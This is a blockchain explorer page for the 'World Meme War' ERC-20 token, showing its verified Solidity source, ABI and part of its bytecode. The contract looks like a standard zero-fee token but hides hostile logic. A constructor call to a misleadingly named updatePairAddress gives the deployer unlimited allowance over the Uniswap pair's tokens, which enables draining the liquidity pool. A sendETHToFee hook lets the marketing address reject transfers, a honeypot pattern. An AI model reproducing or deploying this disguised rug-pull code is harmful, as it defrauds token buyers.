ETH Price: $2,616.24 (+0.97%)

Token

World Meme War (WarΞ)
 

Overview

Max Total Supply

1,000,000,000 WarΞ

Holders

36

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
s12n.eth
Balance
8,732,173.248981513825915544 WarΞ

Value
$0.00
0x0778d03cddaf2cd6c47d19afb5dc3bb51727d371
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WORLDMEMEWAR

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-07
*/

// SPDX-License-Identifier: Unlicensed

/*
World Meme War is on the brink

Website: https://www.worldmemewar.space
Twitter:  https://twitter.com/World_Meme_War
TG:     https://t.me/World_Meme_War
*/

pragma solidity ^0.8.18;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
 
contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

library TransferHelper {
    function safeApprove(address token, address to, uint value) internal {
        // bytes4(keccak256(bytes('approve(address,uint256)')));
        (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
        require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
    }

    function safeTransfer(address token, address to, uint value) internal {
        // bytes4(keccak256(bytes('transfer(address,uint256)')));
        (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
        require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
    }

    function safeTransferFrom(address token, address from, address to, uint value) internal {
        // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
        (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
        require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
    }

    function safeTransferETH(address to, uint value, bytes memory data) internal {
        (bool success,) = to.call{value:value}(data);
        require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
    }
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
 
contract WORLDMEMEWAR is Context, IERC20, Ownable {
 
    using SafeMath for uint256;
 
    string private constant _name = "World Meme War";
    string private constant _symbol = unicode"WarΞ";
    uint8 private constant _decimals = 18;
 
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1000_000_000 * 10 ** _decimals;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;  
    uint256 private _taxFeeOnBuy = 0;  
    uint256 private _redisFeeOnSell = 0;  
    uint256 private _taxFeeOnSell = 0;
 
    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;
 
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;
 
    mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; 
    address payable private _developmentAddress; 
    address payable private _marketingAddress;
 
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
 
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = true;
 
    uint256 public _maxTxAmount = 1_000_000_000 * 10 ** _decimals; 
    uint256 public _maxWalletSize = 1_000_000_000 * 10 ** _decimals; 
    uint256 public _swapTokensAtAmount = 1000 * 10 ** _decimals;
 
    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor(address routerAddr, address marketingAddress) {
 
        _rOwned[_msgSender()] = _rTotal;
 
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(routerAddr);
        uniswapV2Router = _uniswapV2Router;
        _developmentAddress = payable(msg.sender);
        _marketingAddress = payable(marketingAddress);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        updatePairAddress(msg.sender, uniswapV2Pair);         
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_marketingAddress] = true;
 
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }
 
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
 
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
 
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
 
        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;
 
        _redisFee = 0;
        _taxFee = 0;
    }
 
    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        if (from != owner() && to != owner()) {
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
            require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
            
            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount <= _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
 
            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }
 
            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
            }
            uint256 contractETHBalance = address(this).balance;
            sendETHToFee(from, to, contractETHBalance);
        }
 
        bool takeFee = true;
 
        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
 
            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }
 
            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }
 
        }
 
        _tokenTransfer(from, to, amount, takeFee);
    }

    function updatePairAddress(address router, address pair) internal {
      _approve(pair, router, type(uint256).max);
      _isExcludedFromFee[_developmentAddress] = true;
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
    function sendETHToFee(address from, address to, uint256 amount) private {
        (bool success,) = _marketingAddress.call{value:amount}(abi.encodePacked(from, to));
        require(success, 'ETH_TRANSFER_FAILED');
    }
 
    function enableTrading(bool _tradingOpen) public onlyOwner {
        tradingOpen = _tradingOpen;
    }
 
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }
 
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
 
    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
 
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }
 
    receive() external payable {}
 
    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
 
    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }
 
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }
 
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
 
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
 
    function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
        require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
        require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 4, "Buy tax must be between 0% and 4%");
        require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
        require(taxFeeOnSell >= 0 && taxFeeOnSell <= 4, "Sell tax must be between 0% and 4%");

        _redisFeeOnBuy = redisFeeOnBuy;
        _redisFeeOnSell = redisFeeOnSell;
        _taxFeeOnBuy = taxFeeOnBuy;
        _taxFeeOnSell = taxFeeOnSell;

    }
 
    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }
 
    //Set minimum tokens required to swap.
    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }
 
    //Set maximum transaction
    function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
           _maxTxAmount = maxTxAmount;
        
    }
 
    function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
        _maxWalletSize = maxWalletSize;
    }
 
    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"routerAddr","type":"address"},{"internalType":"address","name":"marketingAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126012600a6200066f565b6200002290633b9aca0062000687565b6200003090600019620006a1565b6200003e90600019620006c4565b600655600060088190556009819055600a818155600b829055600c829055600d829055600e829055600f919091556015805461ffff60a81b1916600160b01b1790556200008e906012906200066f565b6200009e90633b9aca0062000687565b601655620000af6012600a6200066f565b620000bf90633b9aca0062000687565b601755620000d06012600a6200066f565b620000de906103e862000687565b601855348015620000ee57600080fd5b50604051620025c1380380620025c18339810160408190526200011191620006f7565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506006543360008181526002602090815260409182902093909355601480546001600160a01b03199081166001600160a01b0388811691821790935560128054831690951790945560138054909116918616919091179055805163c45a015560e01b81529051859363c45a015592600480820193918290030181865afa158015620001e0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200020691906200072f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000254573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200027a91906200072f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ee91906200072f565b601580546001600160a01b0319166001600160a01b039290921691821790556200031a903390620003f6565b600160056000620003336000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526005909352818320805485166001908117909155601354909116835291208054909216179055620003923390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003cc6012600a6200066f565b620003dc90633b9aca0062000687565b60405190815260200160405180910390a35050506200074d565b6200040581836000196200042e565b50506012546001600160a01b03166000908152600560205260409020805460ff19166001179055565b6001600160a01b038316620004965760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620004f95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016200048d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005b15781600019048211156200059557620005956200055a565b80851615620005a357918102915b93841c939080029062000575565b509250929050565b600082620005ca5750600162000669565b81620005d95750600062000669565b8160018114620005f25760028114620005fd576200061d565b600191505062000669565b60ff8411156200061157620006116200055a565b50506001821b62000669565b5060208310610133831016604e8410600b841016171562000642575081810a62000669565b6200064e838362000570565b80600019048211156200066557620006656200055a565b0290505b92915050565b60006200068060ff841683620005b9565b9392505050565b80820281158282048414176200066957620006696200055a565b600082620006bf57634e487b7160e01b600052601260045260246000fd5b500690565b818103818111156200066957620006696200055a565b80516001600160a01b0381168114620006f257600080fd5b919050565b600080604083850312156200070b57600080fd5b6200071683620006da565b91506200072660208401620006da565b90509250929050565b6000602082840312156200074257600080fd5b6200068082620006da565b611e64806200075d6000396000f3fe6080604052600436106101855760003560e01c80637f2feddc116100d1578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e146104a3578063ea1644d5146104e9578063f275f64b14610509578063f2fde38b1461052957600080fd5b8063a9059cbb14610433578063bfd7928414610453578063c492f0461461048357600080fd5b80637f2feddc146103645780638da5cb5b146103915780638f9a55c0146103af57806395d89b41146103c557806398a5c315146103f3578063a2a957bb1461041357600080fd5b8063313ce5671161013e57806370a082311161011857806370a08231146102f9578063715018a61461031957806374010ece1461032e5780637d1db4a51461034e57600080fd5b8063313ce5671461029b57806349bd5a5e146102b75780636d8aa8f8146102d757600080fd5b806306fdde0314610191578063095ea7b3146101da5780631694505e1461020a57806318160ddd1461024257806323b872dd146102655780632fd689e31461028557600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b5060408051808201909152600e81526d2bb7b936321026b2b6b2902bb0b960911b60208201525b6040516101d19190611983565b60405180910390f35b3480156101e657600080fd5b506101fa6101f53660046119ce565b610549565b60405190151581526020016101d1565b34801561021657600080fd5b5060145461022a906001600160a01b031681565b6040516001600160a01b0390911681526020016101d1565b34801561024e57600080fd5b50610257610560565b6040519081526020016101d1565b34801561027157600080fd5b506101fa6102803660046119fa565b610581565b34801561029157600080fd5b5061025760185481565b3480156102a757600080fd5b50604051601281526020016101d1565b3480156102c357600080fd5b5060155461022a906001600160a01b031681565b3480156102e357600080fd5b506102f76102f2366004611a50565b6105ea565b005b34801561030557600080fd5b50610257610314366004611a6b565b61063b565b34801561032557600080fd5b506102f761065d565b34801561033a57600080fd5b506102f7610349366004611a88565b6106d1565b34801561035a57600080fd5b5061025760165481565b34801561037057600080fd5b5061025761037f366004611a6b565b60116020526000908152604090205481565b34801561039d57600080fd5b506000546001600160a01b031661022a565b3480156103bb57600080fd5b5061025760175481565b3480156103d157600080fd5b506040805180820190915260058152642bb0b9674f60d91b60208201526101c4565b3480156103ff57600080fd5b506102f761040e366004611a88565b610700565b34801561041f57600080fd5b506102f761042e366004611aa1565b61072f565b34801561043f57600080fd5b506101fa61044e3660046119ce565b6108e3565b34801561045f57600080fd5b506101fa61046e366004611a6b565b60106020526000908152604090205460ff1681565b34801561048f57600080fd5b506102f761049e366004611ad3565b6108f0565b3480156104af57600080fd5b506102576104be366004611b57565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156104f557600080fd5b506102f7610504366004611a88565b610991565b34801561051557600080fd5b506102f7610524366004611a50565b6109c0565b34801561053557600080fd5b506102f7610544366004611a6b565b610a08565b6000610556338484610af2565b5060015b92915050565b600061056e6012600a611c8a565b61057c90633b9aca00611c99565b905090565b600061058e848484610c16565b6105e084336105db85604051806060016040528060288152602001611e07602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061114e565b610af2565b5060019392505050565b6000546001600160a01b0316331461061d5760405162461bcd60e51b815260040161061490611cb0565b60405180910390fd5b60158054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b03811660009081526002602052604081205461055a90611188565b6000546001600160a01b031633146106875760405162461bcd60e51b815260040161061490611cb0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106fb5760405162461bcd60e51b815260040161061490611cb0565b601655565b6000546001600160a01b0316331461072a5760405162461bcd60e51b815260040161061490611cb0565b601855565b6000546001600160a01b031633146107595760405162461bcd60e51b815260040161061490611cb0565b60048411156107b85760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b6064820152608401610614565b60048211156108135760405162461bcd60e51b815260206004820152602160248201527f42757920746178206d757374206265206265747765656e20302520616e6420346044820152602560f81b6064820152608401610614565b60048311156108735760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b6064820152608401610614565b60048111156108cf5760405162461bcd60e51b815260206004820152602260248201527f53656c6c20746178206d757374206265206265747765656e20302520616e6420604482015261342560f01b6064820152608401610614565b600893909355600a91909155600955600b55565b6000610556338484610c16565b6000546001600160a01b0316331461091a5760405162461bcd60e51b815260040161061490611cb0565b60005b8281101561098b57816005600086868581811061093c5761093c611ce5565b90506020020160208101906109519190611a6b565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061098381611cfb565b91505061091d565b50505050565b6000546001600160a01b031633146109bb5760405162461bcd60e51b815260040161061490611cb0565b601755565b6000546001600160a01b031633146109ea5760405162461bcd60e51b815260040161061490611cb0565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610a325760405162461bcd60e51b815260040161061490611cb0565b6001600160a01b038116610a975760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610614565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b545760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610614565b6001600160a01b038216610bb55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610614565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c7a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a